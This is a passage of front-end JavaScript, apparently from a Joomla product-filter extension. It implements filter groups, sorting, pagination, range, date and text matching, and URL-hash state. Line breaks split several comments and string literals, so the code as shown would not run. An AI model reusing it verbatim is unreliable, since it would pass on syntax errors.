var e = $.Event('afterUpdateRender');
e.lntype = self.type;
e.lntarget = self;
self.$item.trigger(e);
}
self.addItem = function (child, id) {
if (!id) id = child.data[id];
child.lnid = id.slugify();
child.parent = self;
self.items[child.lnid] = child;
}
self.getData = function () {
return self.data;
}
self.setData = function (data) {
self.data = data;
}
self.getField = function (field) {
if (self[field] !== undefined) return self[field];
if (self.data[field] !== undefined) return self.data[field];
// check if path field, eg: stats.HP
var fields = field.split('.'),
v = self.data,
i=0;
while(v && i<fields.length) {
v = v[fields[i++]];
}
return v === undefined ? '' : v;
}
self.getTemplate = function () {
return self.options.template;
}
self.getItem = function (id) {
return self.items[id.slugify()];
}
self.getId = function () {
return self.lnid;
}
self.is = function (check) {
if (typeof check == 'string') {
return check === self.type;
}
if (check instanceof LNBase) {
return (check.is(self.type) && check.getId() == self.getId());
}
return false;
}
// pages
self.setPage = function (p) {
if (!p) return;
self.setQS('page', p);
self.page = p;
self.startIdx = (p-1) * self.itemPerPage + 1;
return self;
}
// sticky
self.sticky = function () {
if(!isMobile.any ) {
$(self.options.container).parent().stick_in_parent().trigger('sticky_kit:recalc');
}
}
// auto page
self.autoPage = function () {
var itemWrapper = $(self.options.itemWrapper),
div = $('<div>',
{id:'autopage','page-data': 1,
'style':'clear:both'}),
reachEnd = 0;
if ($('#autopage').length) {
$('#autopage').remove();
itemWrapper.append(div);
}
else {
itemWrapper.append(div);
}
self.startIdx = 1;
self.endIdx = self.matchedIds.length;
$(window).on('scroll.page',function () {
var wheight = $(window).outerHeight(),
target = $('#autopage').offset().top,
numpage =
parseInt($('#autopage').attr('page-data')),
start = numpage * self.itemPerPage + 1,
end = start + self.itemPerPage - 1;
if (end > self.endIdx )
end = self.endIdx;
if( ($(window).scrollTop() + wheight + 400) >= target ) {
self.showingIds = self.matchedIds.slice(start - 1, end)
for(var i=0; i<self.showingIds.length; i++) {
var id = self.showingIds[i];
self.renderItem(id);
self.shownIds.push(id);
}
if (end === self.endIdx) {
$(window).off('scroll.page')
} else {
numpage = numpage + 1;
$('#autopage').attr('page-data', numpage );
}
// for afterAutoPage() callback
var e = $.Event('afterAutoPage');
e.lntype = self.type;
e.lntarget = self;
self.$item.trigger(e);
}
});
}
// pages
self.setLimiter = function (limiter) {
self.setQS('limiter', limiter);
self.itemPerPage = parseInt(limiter);
self.startIdx = (self.page-1) * self.itemPerPage + 1;
if (self.startIdx >= self.matchedIds.length) {
// reset to first page
self.startIdx = 1;
self.page = 1;
}
return self;
}
// sort
self.sort = function (field, dir) {
if (field !== undefined) {
self.setQS('sort', field);
self.sortField = field;
}
if (dir == 'asc' || dir == 'desc') {
self.setQS('sortdir', dir);
self.sortDir = dir;
}
var d = self.sortDir == 'desc' ? -1 : 1;
if (!self.ids.length || (self.sortField == 'position'
&& d == -1))
self.ids = Object.keys(self.items);
// do sort
if (self.sortField != 'position') {
let dump_custom_ordering = [];
if
(ja_custom_ordering[self.sortField.replace('frontend_value',
'value')] !== undefined)
dump_custom_ordering =
ja_custom_ordering[self.sortField.replace('frontend_value',
'value')];
self.ids.sort(function (a, b) {
var v1 = self.getItem(a).getField(self.sortField),
v2 = self.getItem(b).getField(self.sortField);
// transfer array to string
if (Array.isArray(v1)) {
v1.sort();
// sort items depend on ordering feature in administrator
if
(ja_custom_ordering[self.sortField.replace('frontend_value',
'value')] !== undefined) {
let v11 = [];
for (let x in dump_custom_ordering) {
if (v1.indexOf(dump_custom_ordering[x]) !==
-1)
v11.push(parseInt(x));
}
if (v11.length)
v1 = v11;
}
v1 = v1.join(' ');
}
if (Array.isArray(v2)) {
v2.sort();
// sort items depend on ordering feature in administrator
if
(ja_custom_ordering[self.sortField.replace('frontend_value',
'value')] !== undefined) {
let v11 = [];
for (let x in dump_custom_ordering) {
if (v2.indexOf(dump_custom_ordering[x]) !==
-1)
v11.push(parseInt(x));
}
if (v11.length)
v2 = v11;
}
v2 = v2.join(' ');
}
if (v1 == v2) {
var t1 = +self.getItem(a).getField('id'),
t2 = +self.getItem(b).getField('id');
return t1 > t2 ? d : -d;
}
if ( !isNaN(v1) && !isNaN(v2) && v1 !== ''
&& v2 !== '') {
v1 = +v1;
v2 = +v2;
return v1 > v2 ? d : -d;
} else if( v1 && v2 ) {
v1 = v1.split('');
v2 = v2.split('');
var min = Math.min(v1.length, v2.length);
for (var i = 0; i < min; i++) {
if (v1[i] != v2[i]) {
return v1[i].localeCompare(v2[i]) > 0 ? d : -d;
}
}
return v1 > v2 ? d : -d;
}
// let empty value always goes to bottom
if (!v1) {
return d > 0 ? d : -d;
}
if (!v2) {
return d < 0 ? d : -d;
}
});
} else if (d == 1) {
self.ids.reverse();
}
return self;
}
self.setMatchedItems = function (ids) {
self.matchedIds = [];
if (!self.ids.length) self.ids = Object.keys(self.items);
self.ids.forEach(function(id) {
if (ids.indexOf(id) != -1) self.matchedIds.push(id);
})
return self;
}
self.setQS = function (name, value) {
self.getQS().set(name, value);
}
self.getQS = function () {
if ($.lnqs == undefined) {
$.lnqs = new LNQueryString();
$.lnqs.load();
}
return $.lnqs;
}
self.delayCall = function (func, timeOut) {
if (self.timeout[func]) clearTimeout(self.timeout[func]);
if (self[func]) {
self.timeout[func] = setTimeout(function () {self[func]()}, timeOut);
}
}
self.cleanRangeValue = function (value) {
if(isNaN(value)) {
var arr = [], pieces = value.split('');
for (var i = 0; i < pieces.length; i++) {
pieces[i] = pieces[i].replace(',', '.');
if (pieces[i] == ' ') {
continue;
}
if (pieces[i] === '.' || !isNaN(pieces[i])) {
arr.push(pieces[i]);
}
}
value = arr.join('');
return isNaN(value) ? 0 : value;
}
return value;
}
});
;
var LNFilter = LNBase.extend(function(){
// private variable
var self = this,
$ = jQuery,
so = setOps;
self.type = 'LNFilter';
self.defaultOptions = {
template: 'filter-list',
container: '.sidebar',
itemWrapper: '.filter-list',
showAllItems: true
};
self.lnItems = null;
self.filterResult = null;
// is first load
self.isFirstLoad = true;
// store selected value
self.selectedFilters = {};
// page
self.page = 1;
// Filter base on list data items
self.addItems = function (lnItems) {
self.lnItems = lnItems;
}
// Filter result
self.addFilterResult = function (filterResult) {
self.filterResult = filterResult;
self.filterResult.setSelectedFilters (self.selectedFilters);
}
self.addFilterSingle = function (options) {
// template
self.addItem (new LNFilterGroup($.extend(options, {
template: 'filter.radio',
class: 'filter-field filter-radio',
type: 'single'
})), 'filter-' + options.field);
}
self.addFilterDropdown = function (options) {
// template
self.addItem (new LNFilterGroup($.extend(options, {
template: 'filter.dropdown',
class: 'filter-field filter-dropdown',
type: 'dropdown'
})), 'filter-' + options.field);
}
self.addFilterList = function (options) {
// template
self.addItem (new LNFilterGroup($.extend(options, {
template: 'filter.list',
class: 'filter-field filter-list',
type: 'list'
})), 'filter-' + options.field);
}
self.addFilterMultiple = function (options) {
// template
self.addItem (new LNFilterGroup($.extend(options, {
template: 'filter.multiple',
class: 'filter-field filter-multiple',
type: 'multiple'
})), 'filter-' + options.field);
}
self.addFilterValue = function (options) {
// template
self.addItem (new LNFilterValue(options), 'filter-' +
options.field);
}
self.addFilterDate = function (options) {
// template
self.addItem (new LNFilterDate(options), 'filter-' +
options.field);
}
self.addFilterNumberrange = function (options) {
// template
self.addItem (new LNFilterNumberrange(options), 'filter-' +
options.field);
}
self.addFilterColor = function (options) {
// template
self.addItem (new LNFilterGroup($.extend(options, {
template: 'filter.color',
class: 'filter-field filter-color',
type: 'color'
})), 'filter-' + options.field);
}
self.addFilterSize = function (options) {
// template
self.addItem (new LNFilterGroup($.extend(options, {
template: 'filter.size',
class: 'filter-field filter-size',
type: 'size'
})), 'filter-' + options.field);
}
self.addFilterMedia = function (options) {
// template
self.addItem (new LNFilterGroup($.extend(options, {
template: 'filter.media',
class: 'filter-field filter-media',
type: 'media'
})), 'filter-' + options.field);
}
self.addFilterRange = function (options) {
// find max value
if (!options.max) {
var field = options.field,
vals = [];
for (var id in self.lnItems.items) {
var v = self.lnItems.getItem(id).getField(field);
if (Array.isArray(v)) {
for (var i = 0; i < v.length; i++) {
vals.push(+self.cleanRangeValue(v[i]));
}
} else {
vals.push (+self.cleanRangeValue(v));
}
}
options.min = Math.min.apply(Math, vals);
options.max = Math.max.apply(Math, vals);
// change max min value to float to int.
if (!!(options.max % 1)) options.max = Math.ceil(options.max);
if (!!(options.min % 1)) options.min = Math.floor(options.min);
}
// template
self.addItem (new LNFilterRange(options), 'filter-' +
options.field);
}
self.addFilterRating = function(options){
self.addItem (new LNFilterGroup($.extend(options, {
template: 'filter.rating',
class: 'filter-field filter-rating',
type: 'rating'
})), 'filter-' + options.field);
// self.addItem ( new LNFilterRating(options), 'filter-' +
options.field);
}
// update value for filter type Single & Multiple
self.updateFilter = function () {
for (var gid in self.items) {
var fgroup = self.getItem(gid),
field = fgroup.options.field,
type = fgroup.options.type,
frontend_value;
if (fgroup.options.frontend_field)
frontend_value=fgroup.options.frontend_field;
else
frontend_value=fgroup.options.field;
// show all child
fgroup.options.showAllItems = true;
fgroup.options.itemWrapper = '.filter-items';
// fetch child value from filter data
if (fgroup.is('LNFilterGroup')) {
if (fgroup.options.type === "rating") {
var items = self.lnItems.items;
var rates = [5,4,3,2,1,0];
rates.forEach(rate => {
const fitem = new LNFilterItem({
template: fgroup.getTemplate() + '-item',
name: field,
frontend_value: rate,
value: rate,
width_rating: rate*20,
});
fitem.mids = [];
fgroup.addItem(fitem, field +'-' + rate);
for (var id in self.lnItems.items) {
var item = self.lnItems.getItem(id);
var itemRating = item.getField(field);
itemRating = itemRating ? parseFloat(itemRating) : 0;
if (itemRating === 5){
fitem.mids.push(id);
} else if (itemRating >= rate && itemRating < 5) {
fitem.mids.push(id);
}
}
})
} else {
// fetch field values into array
for (var id in self.lnItems.items) {
var item = self.lnItems.getItem(id),
val = item.getField(field),
frontend_val = item.getField(frontend_value);
if (val === undefined) continue;
if ($.isArray(val)) {
for (var i=0; i<val.length; i++) {
var v = val[i],
key = field + '-' + v,
fitem = fgroup.getItem(key);
if (!v || v == 'N/A') continue;
if (!fitem) {
fitem = new LNFilterItem({
template: fgroup.getTemplate() + '-item',
name: field,
frontend_value: frontend_val[i],
value: v
});
fitem.mids = [];
fgroup.addItem(fitem, key);
}
$.inArray(id, fitem.mids) === -1 &&
fitem.mids.push(id);
}
} else {
var v = val,
key = field + '-' + v,
fitem = fgroup.getItem(key);
if (!v || v == 'N/A') continue;
if (!fitem) {
fitem = new LNFilterItem({
template: fgroup.getTemplate() + '-item',
name: field,
value: v
});
fitem.mids = [];
fgroup.addItem(fitem, key);
}
$.inArray(id, fitem.mids) === -1 &&
fitem.mids.push(id);
}
}
}
// sort child items
var keys = Object.keys(fgroup.items);
// unset this fgroup if less than 1 values
if (keys.length < 1) {
delete self.items[gid];
} else {
var ordering = ja_custom_ordering[field];
if (ordering) {
keys.sort(function(a, b) {
var valA = fgroup.getItem(a).options.value;
var valB = fgroup.getItem(b).options.value;
var keyA = ordering.indexOf(decodeURIComponent(valA));
var keyB = ordering.indexOf(decodeURIComponent(valB));
return keyA < keyB ? -1 : 1;
});
} else {
var order = (fgroup.options.order.toUpperCase() == 'DESC')
? -1 : 1;
keys.sort(function (a, b) {
// control the order direction. it's do not relate to default
options.
var orderType = 0;
var $a = fgroup.getItem(a);
var $b = fgroup.getItem(b);
if (ja_fileter_field_order[$a.options.name] !== undefined &&
ja_fileter_field_order[$b.options.name] !== undefined) {
if (ja_fileter_field_order[$a.options.name] ===
'name_asc') // name ASC
order = 1;
if (ja_fileter_field_order[$a.options.name] ==
'name_desc') // name DESC
order = -1;
if (ja_fileter_field_order[$a.options.name] ==
'number_asc') // number ASC
orderType = 1;
if (ja_fileter_field_order[$a.options.name] ==
'number_desc') // number DESC
orderType = -1;
}
if (orderType) {
var countA = typeof $a.mcount === 'number' ? $a.mcount :
$a.mids.length;
var countB = typeof $a.mcount === 'number' ? $b.mcount :
$b.mids.length;
if (orderType === 1) {
return countA < countB ? -1 : 1; // ASC
} else {
return countA > countB ? -1 : 1; // DESC
}
}
if ($a.options.name === 'rating'){
return $a.options.name.localeCompare($b.options.name) *
order;
}
// end control.
return
$a.options.frontend_value.localeCompare($b.options.frontend_value) *
order;
});
}
var _items = {};
keys.forEach(function (id) {
_items[id] = fgroup.getItem(id);
});
fgroup.items = _items;
}
}
}
return self;
}
self.afterRender = function () {
// tracking change on filter
self.$item.on('change', function (e) {
if (self.options.sticky) {
self.sticky();
}
// update filter selected
var $value = $(e.target),
$fgroup = $value.closest('.filter-field'),
fgroup = self.getItem($fgroup.data('lnid')),
field = fgroup.options.field,
type = fgroup.options.type;
if ($value.is('select')) {
// find element item
var val = $value.val(),
key = field + '-' + val,
fitem = fgroup.getItem(key);
// update to selected list
if ($value.attr('multiple') === undefined) {
// single select
if (val) {
self.selectedFilters[field] = fitem;
} else {
delete self.selectedFilters[field];
}
} else {
// multiple select
$value.find('option').each(function() {
var key = field + '-' + $(this).attr('value');
var fitem = fgroup.getItem(key);
if ($.inArray(jQuery(this).attr('value'), val) !== -1) {
self.selectedFilters[key] = fitem;
} else {
delete self.selectedFilters[key];
}
});
}
} else {
if (fgroup.is('LNFilterValue')) {
fgroup.value = $value.val();
if (fgroup.value) {
self.selectedFilters[field] = fgroup;
} else {
delete self.selectedFilters[field];
}
}
if (fgroup.is('LNFilterGroup') && (type ==
'multiple' || type == 'color' || type ==
'size' || type == 'media')) {
var $fitem = $value.closest('.ln-element'),
fitem = fgroup.getItem($fitem.data('lnid')),
key = $fitem.data('lnid');//field + '-' +
fitem.options.value;
// toggle. with checkbox type we toggle the active.
if ($value.prop('checked')) {
jQuery($fitem).addClass('jamg-active');
self.selectedFilters[key] = fitem;
} else {
jQuery($fitem).removeClass('jamg-active');
delete self.selectedFilters[key];
}
}
if (fgroup.is('LNFilterGroup') && (type ===
'single') || type === 'rating') {
var $fitem = $value.closest('.ln-element'),
fitem = fgroup.getItem($fitem.data('lnid'));
// with radio we uncheck all radio first.
$fgroup.find('.jamg-active').removeClass('jamg-active');
if (fitem) {
jQuery($fitem).addClass('jamg-active');
self.selectedFilters[field] = fitem;
} else {
delete self.selectedFilters[field];
}
}
if (fgroup.is('LNFilterRange')) {
fgroup.value = $value.val();
fgroup.value[0] = parseInt(fgroup.value[0]); // to Int
fgroup.value[1] = parseInt(fgroup.value[1]); // to Int
if (fgroup.value) {
self.selectedFilters[field] = fgroup;
} else {
delete self.selectedFilters[field];
}
}
if (fgroup.is('LNFilterDate') ||
fgroup.is('LNFilterNumberrange')) {
fgroup.value = $value.val();
if (fgroup.value) {
self.selectedFilters[field] = fgroup;
} else {
delete self.selectedFilters[field];
}
}
}
// using timeout to prevent multiple change in sort time
clearTimeout(self.filterChangeTimeout);
self.filterChangeTimeout = setTimeout(function() {
self.filterChangeHandle()
}, 100);
});
self.super.afterRender();
}
self.filterChangeHandle = function () {
// fetch matched item
var matchedIds = [];
jQuery('span.color-item-bg').removeClass('color-active');
jQuery('img.img-item').removeClass('media-active');
if (Object.keys(self.selectedFilters).length) {
var fields = {},
ids = [],
vfields = [];
for(var prop in self.selectedFilters) {
var fitem = self.selectedFilters[prop],
field;
if (!fitem.is('LNFilterItem')) {
field = fitem.options.field;
// process for value & range filter
// vfields.push(prop);
var _ids = [];
for (var id in self.lnItems.items) {
var item = self.lnItems.getItem(id),
matched = true;
if (!fitem.options.match || !fitem.options.match(item, field,
fitem.value))
matched = false;
if (matched) _ids.push(id);
}
fields[field] = _ids;
} else {
field = fitem.parent.options.field;
if (fitem.options.template === 'filter.color-item') {
fitem.$item.find('.color-item-bg').addClass('color-active');
} else if (fitem.options.template === 'filter.media-item')
{
fitem.$item.find('img').addClass('media-active');
}
fields[field] = fields[field] ? setOps.union(fields[field],
fitem.mids) : fitem.mids;
}
ids = setOps.union(ids, fields[field]);
}
var t = 0;
// find matched items
for(var field in fields) {
matchedIds = t ? setOps.intersection(matchedIds, fields[field]) :
fields[field];
t++;
}
// update counter for this field
for (var gid in self.items) {
var fgroup = self.getItem(gid),
field = fgroup.options.field,
fmatchedIds = [];
// reset before count
for (var fid in fgroup.items) {
fgroup.getItem(fid).mcount = 0;
}
if (field in fields) {
if (Object.keys(fields).length == 1) {
// use global count
// update counter for each item
for (var fid in fgroup.items) {
fgroup.getItem(fid).mcount = fgroup.getItem(fid).mids.length;
}
} else {
// find matched items except this condition
var t = 0
for(var f in fields) {
if (f == field) continue;
fmatchedIds = t ? setOps.intersection(fmatchedIds,
fields[f]):fields[f];
t++
}
}
} else {
fmatchedIds = matchedIds;
}
if (fmatchedIds.length) {
// reset before count
fmatchedIds.forEach(function(id) {
var item = self.lnItems.getItem(id),
val = item.getField(field);
if ($.isArray(val)) {
val.forEach(function(v){
var fitem = fgroup.getItem(field + '-' + v);
if (fitem) fitem.mcount += 1;
});
} else {
var v = val,
key = field + '-' + v,
fitem = fgroup.getItem(key);
if (fitem) fitem.mcount += 1;
}
})
}
}
} else {
matchedIds = Object.keys(self.lnItems.items);
// reset counter
for (var gid in self.items) {
var fgroup = self.getItem(gid);
for (var fid in fgroup.items) {
fgroup.getItem(fid).mcount = fgroup.getItem(fid).mids.length;
}
}
}
self.lnItems.setMatchedItems(matchedIds);
if (self.isFirstLoad) {
self.isFirstLoad = false;
} else {
self.page = 1;
}
self.lnItems.setPage(self.page);
self.lnItems.updateRender();
self.updateFilter();
self.updateRender();
self.updateFilterResult();
setTimeout(function () {
self.$item.find('select').trigger('liszt:updated');
}, 300)
}
self.updateFilterResult = function () {
if (self.filterResult) {
self.filterResult.updateRender();
}
}
self.load = function () {
var qs = self.getQS().qs,
filtered = false;
for (var gid in self.items) {
var fgroup = self.getItem(gid),
field = fgroup.options.field;
if (qs[field]) {
fgroup.setValue(qs[field]);
filtered = true;
}
}
return self;
}
});
var LNFilterGroup = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNFilterGroup';
self.options = null;
self.defaultOptions = {
class: 'filter-field',
order: 'ASC'
};
self.afterRender = function () {
// easy way to change the category tree name.
// only use field name that we can detect it's category tree.
if (self.options.field == 'attr.cat.value' ||
self.options.field == 'attr.category.value' || self.options.field
== 'attr.tag.value') {
var $lv;
switch (self.options.type) {
case 'multiple':
self.$item.find('input').each(function() {
$lv = ($(this).next().text().match(/ » /g) || []).length+1;
$(this).parents('li').addClass('lv-'+$lv);
$(this).next().text($(this).next().text().replace(/^(.*)?» /,
''));
});
break;
case 'single':
case 'rating':
self.$item.find('input').each(function() {
$lv = ($(this).next().text().match(/ » /g) || []).length+1;
$(this).parents('li').addClass('lv-'+$lv);
$(this).next().text($(this).next().text().replace(/^(.*)?» /,
''));
});
break;
case 'dropdown':
self.$item.find('option').each(function() {
$lv = ($(this).text().match(/ » /g) || []).length+1;
var $space = '';
for (i=1; i< $lv; i++) {
if (i > 1) {
$space += '. ';
} else {
$space += ': . ';
}
}
$(this).addClass('lv-'+$lv);
$(this).text($space+''+$(this).text().replace(/^(.*)?» /,
''));
});
break;
case 'color':
case 'size':
case 'list':
case 'media':
break;
}
}
if (self.options.type == 'color') {
self.$item.find('span.color-item-bg').each(function() {
if
((JAnameColor[$(this).data('bgcolor').toLowerCase().trim()]) !=
undefined) {
$(this).css('background-color',
JAnameColor[$(this).data('bgcolor').toLowerCase().trim()]);
} else {
$(this).css('background-color',
($(this).data('bgcolor').toLowerCase().trim().indexOf('#')
=== -1 ? '#' :
'')+jQuery(this).data('bgcolor').toLowerCase().trim());
}
});
}
if (self.options.type === 'dropdown') {
self.$item.find('select').chosen({
disable_search_threshold: 10,
placeholder_text_multiple:
Joomla.JText._('COM_JAMEGAFILTER_MULTIPLE_SELECT_PLACEHOLDER')
});
}
if (self.options.type !== 'rating') {
if ((ja_show_more > 0 &&
self.$item.find('li:not(.first)').length > ja_show_more)) {
self.$item.find('li:not(.first):gt(' + (ja_show_more - 1)
+ ')').hide();
self.$item.find('li').last().after('<li
class="show-more" style="float: none; clear:
both;"><a href="javascript:;" class=""
onclick="return openShift(this);">' +
jamegafilter_show_more + '</a></li>');
}
}
}
self.reset = function () {
self.setValue('');
}
self.setValue = function (value) {
switch (self.options.type) {
case 'color':
case 'size':
case 'multiple':
case 'media':
var vals = value.split(',');
self.$item.find('input').prop('checked',
false).filter(function(){
return vals.indexOf (this.value) != -1
}).prop('checked', true).trigger('change');
break;
case 'single':
case 'rating':
self.$item.find('input[value="' + value +
'"]').prop('checked',
true).trigger('change');
break;
case 'dropdown':
if (value.search(/,/) !== -1) {
var _v = value.split(',');
for (var x in _v) {
self.$item.find('select
option[value="'+(_v[x])+'"]').prop('selected',
true);
self.$item.find('select
option[value="'+(_v[x])+'"]').attr('selected',
true);
}
self.$item.find('select').trigger('change');
} else
self.$item.find('select').val(value).trigger('change');
break;
case 'list':
break;
}
}
});
var LNFilterItem = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNFilterItem';
self.options = null;
self.defaultOptions = {
class: 'filter-item'
};
self.updateRender = function () {
// update textnode to replce counter
if(self.$item != null) {
self.$item.find(":not(iframe)").addBack().contents().filter(function
() {
return this.nodeType == 3;
}).each(function () {
var $this = $(this);
$this.replaceWith($this.text().replace(/\(.*\)$/, '(' +
self.mcount + ')'));
});
// add empty class into empty group
if (!self.mcount) self.$item.addClass('empty');
else self.$item.removeClass('empty');
// call super
self.super.updateRender();
}
}
self.reset = function () {
if (self.parent.options.type == 'dropdown' &&
self.$item.parent().attr('multiple') !== undefined) {
self.$item.prop('selected', false);
self.$item.parent().trigger('change');
} else {
if (self.parent.options.type == 'multiple' ||
self.parent.options.type == 'size' || self.parent.options.type ==
'color' || self.parent.options.type == 'media'){
self.$item.find('input').prop('checked',
false).trigger('change');
} else {
self.parent.reset();
}
}
}
});
var LNFilterColor = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNFilterColor';
self.options = null;
self.defaultOptions = {
template: 'filter.color',
class: 'filter-input filter-field filter-item',
match: function (item, field, val) {
return null;
}
};
self.afterRender = function () {
}
self.reset = function () {
}
self.setValue = function (value) {
}
});
var LNFilterSize = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNFilterSize';
self.options = null;
self.defaultOptions = {
template: 'filter.size',
class: 'filter-input filter-field filter-item',
match: function (item, field, val) {
return null;
}
};
self.afterRender = function () {
}
self.reset = function () {
}
self.setValue = function (value) {
}
});
var LNFilterMedia = LNBase.extend(function() {
var self = this,
$ = jQuery;
self.type = 'LNFilterMedia';
self.options = null;
self.defaultOptions = {
template: 'filter.media',
class: 'filter-input filter-field filter-item',
match: function (item, field, val) {
return null;
}
};
});
var LNFilterDate = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNFilterDate';
self.options = null;
self.defaultOptions = {
template: 'filter.date',
class: 'filter-input filter-field',
match: function (item, field, val) {
var from, to;
// prevent error when the item do not had value on this field.
if (item.getField(field) == undefined == true || item.getField(field) ==
false || item.getField(field) == undefined || item.getField(field) ==
'undefined') return null;
from = self.$item.find('.jafrom').val(),
to = self.$item.find('.jato').val();
from = new Date(from).getTime() / 1000;
to = new Date(to).getTime() / 1000 + 24 * 60 * 60;
var itemval = item.getField(field)[0];
var timeoffset = (new Date()).getTimezoneOffset();
itemval = itemval - timeoffset * 60;
return (itemval >= from && itemval < to);
}
};
self.afterRender = function () {
self.$item.find('input').each(function(i, e){
$(this).datepicker({
changeMonth: true,
changeYear: true,
dateFormat: "yy-mm-dd",
onSelect : function(s, o){
var from = self.$item.find('.jafrom').val(),
to = self.$item.find('.jato').val();
if (from !== '' && to !== '') {
$(this).trigger('change');
}
}
});
});
}
self.reset = function () {
self.$item.find('input').each(function(i, e){
$(e).val('').trigger('change');
});
}
self.setValue = function (value) {
var vals = value.split(',');
self.$item.find('input').each(function(i, e){
$(e).val(vals[i]);
$(e).trigger('change');
});
}
});
var LNFilterNumberrange = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNFilterNumberrange';
self.options = null;
self.defaultOptions = {
template: 'filter.txtrange',
class: 'filter-input filter-field',
match: function (item, field, val) {
var from, to;
// prevent error when the item do not had value on this field.
if (item.getField(field) == undefined == true
|| item.getField(field) == false
|| item.getField(field) == undefined
|| item.getField(field) == 'undefined'
) return null;
from = (self.$item.find('.jafrom').val()),
to = (self.$item.find('.jato').val());
if (from === "") from = 0;
else from = parseInt(from);
if (to === "") to = 9007199254740993; // MAX Integer in js.
else to = parseInt(to);
var itemval = parseInt(item.getField(field));
return (itemval >= from && itemval <= to);
}
};
self.afterRender = function () {
self.$item.find('input').each(function(i, e){
// $(this).datepicker({
// changeMonth: true,
// changeYear: true,
// dateFormat: "yy-mm-dd",
// onSelect : function(s, o){
// var from = self.$item.find('.jafrom').val(),
// to = self.$item.find('.jato').val();
// if (from !== '' && to !== '') {
// $(this).trigger('change');
// }
// }
// });
});
}
self.reset = function () {
self.$item.find('input').each(function(i, e){
$(e).val('').trigger('change');
});
}
self.setValue = function (value) {
var vals = value.split(',');
self.$item.find('input').each(function(i, e){
$(e).val(vals[i]);
$(e).trigger('change');
});
}
});
var LNFilterRating = LNBase.extend(function(){
var $ = jQuery;
var self = this;
this.type = 'LNFilterRating';
this.options = null;
this.defaultOptions = {
template: 'filter.rating',
class: 'filter-field filter-rating',
match: function(item, field, val) {
// self.handleMatchedItems(item, val)
}
}
self.afterRender = function () {
}
self.reset = function () {
}
self.setValue = function (value) {}
self.triggerChange = function () {
}
})
var LNFilterRange = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNFilterRange';
self.options = null;
self.defaultOptions = {
template: 'filter.range',
class: 'filter-range filter-field',
min: 0,
max: 0,
match: function (item, field, val) {
var itemVal = item.getField(field);
var v;
if (Array.isArray(itemVal)) {
for (var i = 0; i < itemVal.length; i++) {
v = self.cleanRangeValue(itemVal[i]);
if (v >= val[0] && (val[1] == self.options.max || v <=
val[1])) {
return true;
}
}
} else {
v = self.cleanRangeValue(itemVal);
return (v >= val[0] && (val[1] == self.options.max || v
<= val[1]));
}
return false;
}
};
self.afterRender = function () {
self.$slider = self.$item.find('.range-item');
if (self.$slider.length) {
self.$slider[0].slide = null;
self.$slider.slider({
range: true,
min: self.options.min,
max: self.options.max,
isRTL: true, // RTL
values: [ self.options.min, self.options.max ],
slide: function( event, ui ) {
self.$item.find('.range-value0').html(ui.values[0]);
self.$item.find('.range-value1').html(ui.values[1]);
},
change: function( event, ui ) {
clearTimeout(self.changeTimeout);
self.changeTimeout = setTimeout(function(){self.triggerChange();},
100);
self.$item.find('.range-value0').html(ui.values[0]);
self.$item.find('.range-value1').html(ui.values[1]);
}
});
// first value
self.$item.find('.range-value0').html(self.options.min);
self.$item.find('.range-value1').html(self.options.max);
}
}
self.reset = function () {
self.$slider.slider( "values", [self.options.min,
self.options.max]);
}
self.setValue = function (value) {
self.$slider.slider( "values", value.split(','));
}
self.triggerChange = function () {
var values = self.$slider.slider("values");
self.$slider.val((values[0] == self.options.min && values[1] ==
self.options.max) ? null : values);
var e = $.Event( "change", { target: self.$slider[0] } );
self.$slider.trigger('change', e);
}
self.toString = function () {
if (self.options.toString) self.options.toString.apply(self);
return self.$slider.slider("values").join (' - ');
}
});
var LNFilterValue = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNFilterValue';
self.options = null;
self.defaultOptions = {
template: 'filter.value',
class: 'filter-input filter-field',
match: function (item, field, val) {
if (item.getField(field) == undefined || item.getField(field) ==
'undefined') return null; // prevent error when the item do not
had value on this field.
val = val.replace(/([^a-zA-Z0-9 ])/g, '\\$1').toLowerCase();
// addslashes to all special characters.
var specialChar = {
'a':'(a|á|à|ả|ã|ạ|ă|ắ|ằ|ẵ|ặ|ẵ|â|ấ|ầ|ẩ|ẫ|ậ|Ä|Å|Æ)'.toLowerCase(),
'o':'(o|ó|ò|ỏ|õ|ọ|ơ|ớ|ờ|ở|ợ|ỡ|ô|ố|ồ|ổ|ỗ|ộ|Ö|Ø)'.toLowerCase(),
'u':'(u|ú|ù|ủ|ũ|ụ|ư|ứ|ừ|ử|ự|ữ|Û|Ü)'.toLowerCase(),
'y':'(y|ý|ỳ|ỷ|ỹ|ỵ|ÿ)'.toLowerCase(),
'i':'(i|í|ì|ỉ|ĩ|ị|Î|Ï|ı)'.toLowerCase(),
'e':'(e|é|è|ẻ|ẽ|ẹ|ê|ế|ề|ễ|ệ|ể|Ë)'.toLowerCase(),
'c':'(c|Ç)'.toLowerCase(),
'd':'(d|đ)'.toLowerCase(),
'n':'(n|Ñ)'.toLowerCase(),
'g':'(g|ğ)'.toLowerCase(),
's':'(s|ş)'.toLowerCase()
};
for (var x in specialChar) {
val = val.replace(new RegExp(x, 'g'), specialChar[x]);
}
var searchSTR = item.getField(field).toLowerCase();
return searchSTR.match(new RegExp(val, 'i'));
}
};
self.reset = function () {
self.$item.find('input').val('').trigger('change');
}
self.setValue = function (value) {
self.$item.find('input').val(value).trigger('change');
}
self.afterRender = function () {
if (navigator.userAgent.match(/Trident/)) {
self.$item.find('input').on('keyup', function(e) {
if (e.keyCode === 13) {
jQuery(this).trigger('change');
}
});
}
}
});
var LNItem = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNItem';
self.options = null;
self.defaultOptions = {
class: 'ln-item'
};
});
var LNQueryString = Class.extend(function(){
// private variable
var self = this,
$ = jQuery;
self.qs = {};
self.curHash = location.hash;
self.cache = [];
self.defaultValues = {};
self.load = function () {
// handle first visit, reselect
var qs = {};
location.hash.substr(1).split('&').forEach(function(nvp){
var nv = nvp.split('=');
if (nv.length == 2) qs[nv[0]] = decodeURIComponent(nv[1]);
});
self.qs = qs;
// register event to update update url hash
$(document).on('afterRender', function (e) {
var hash = [], page = 0;
